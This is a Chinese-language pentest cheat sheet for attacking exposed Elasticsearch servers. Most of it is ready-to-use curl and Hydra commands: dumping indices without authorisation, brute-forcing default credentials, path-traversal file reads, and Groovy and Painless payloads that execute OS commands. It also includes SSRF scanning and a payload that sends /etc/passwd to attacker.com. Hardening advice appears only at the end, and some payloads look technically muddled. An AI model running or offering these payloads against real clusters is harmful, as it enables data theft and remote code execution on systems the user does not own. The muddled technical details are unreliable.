9200 - Elasticsearch 渗透
漏洞概述
Elasticsearch 是分布式搜索和分析引擎,默认无密码且绑定 0.0.0.0,导致大量未授权访问漏洞。
影响版本: <7.0 (默认无认证)
危害等级: ⭐⭐⭐⭐⭐
信息收集
端口扫描
# Nmap 扫描
nmap -sV -p 9200 <TARGET_IP>
# Elasticsearch 枚举
nmap --script elasticsearch-* <TARGET_IP>
版本识别
# 直接访问
curl http://<TARGET_IP>:9200/
# 返回示例
{
"name" : "node-1",
"cluster_name" : "elasticsearch",
"version" : {
"number" : "6.8.0"
}
}
集群信息
# 查看节点
curl http://<TARGET_IP>:9200/_cat/nodes?v
# 查看索引
curl http://<TARGET_IP>:9200/_cat/indices?v
# 查看分片
curl http://<TARGET_IP>:9200/_cat/shards?v
漏洞利用
方法 1: 未授权访问
# 查询所有数据
curl http://<TARGET_IP>:9200/_search?pretty
# 查询特定索引
curl http://<TARGET_IP>:9200/<index_name>/_search?pretty
# 查看配置
curl http://<TARGET_IP>:9200/_cluster/settings?pretty
方法 2: 弱口令爆破
# Hydra 爆破
hydra -l elastic -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:9200/_cluster/health
# 默认凭据
elastic:changeme
elastic:elastic
kibana:kibana
方法 3: 任意文件读取
# 读取 /etc/passwd
curl -XGET "http://<TARGET_IP>:9200/_plugin/head/../../../../../../../../etc/passwd"
# 使用 file://协议
curl -XGET "http://<TARGET_IP>:9200/_river/_search" -d '{
"size": 1,
"script": {
"lang": "expression",
"source": "new java.util.Scanner(new java.io.File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next()"
}
}'
命令执行
Groovy 脚本执行 (CVE-2014-3120)
# 创建索引
curl -XPOST 'http://<TARGET_IP>:9200/test/' -d '{
"test": {
"properties": {
"test": { "type": "string" }
}
}
}'
# 执行命令
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
"size": 1,
"script_fields": {
"test": {
"script": {
"lang": "groovy",
"script": "Runtime.getRuntime().exec(\"whoami\").text"
}
}
}
}'
Painful 脚本执行
# Elasticsearch 5.x+
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
"script": {
"source": "def proc = Runtime.getRuntime().exec(\"whoami\"); def scanner = new Scanner(proc.getInputStream()); return scanner.useDelimiter(\"\\\\A\").next();"
}
}'
内网渗透
扫描内网
# 使用 SSRF 扫描
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
"script": {
"source": "new URL(\"http://192.168.1.1:80\").text"
}
}'
数据 exfiltration
# 外带数据到攻击者服务器
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
"script": {
"source": "new URL(\"http://attacker.com/?data=\" + URLEncoder.encode(Runtime.getRuntime().exec(\"cat /etc/passwd\").text, \"UTF-8\")).text"
}
}'
防御建议
-
启用认证 (X-Pack)
# elasticsearch.yml
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
-
绑定本地地址
# elasticsearch.yml
network.host: 127.0.0.1
http.port: 9200
-
配置防火墙
iptables -A INPUT -p tcp --dport 9200 -s <TRUSTED_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 9200 -j DROP
-
禁用动态脚本
# elasticsearch.yml
script.inline: false
script.indexed: false
-
定期更新
参考链接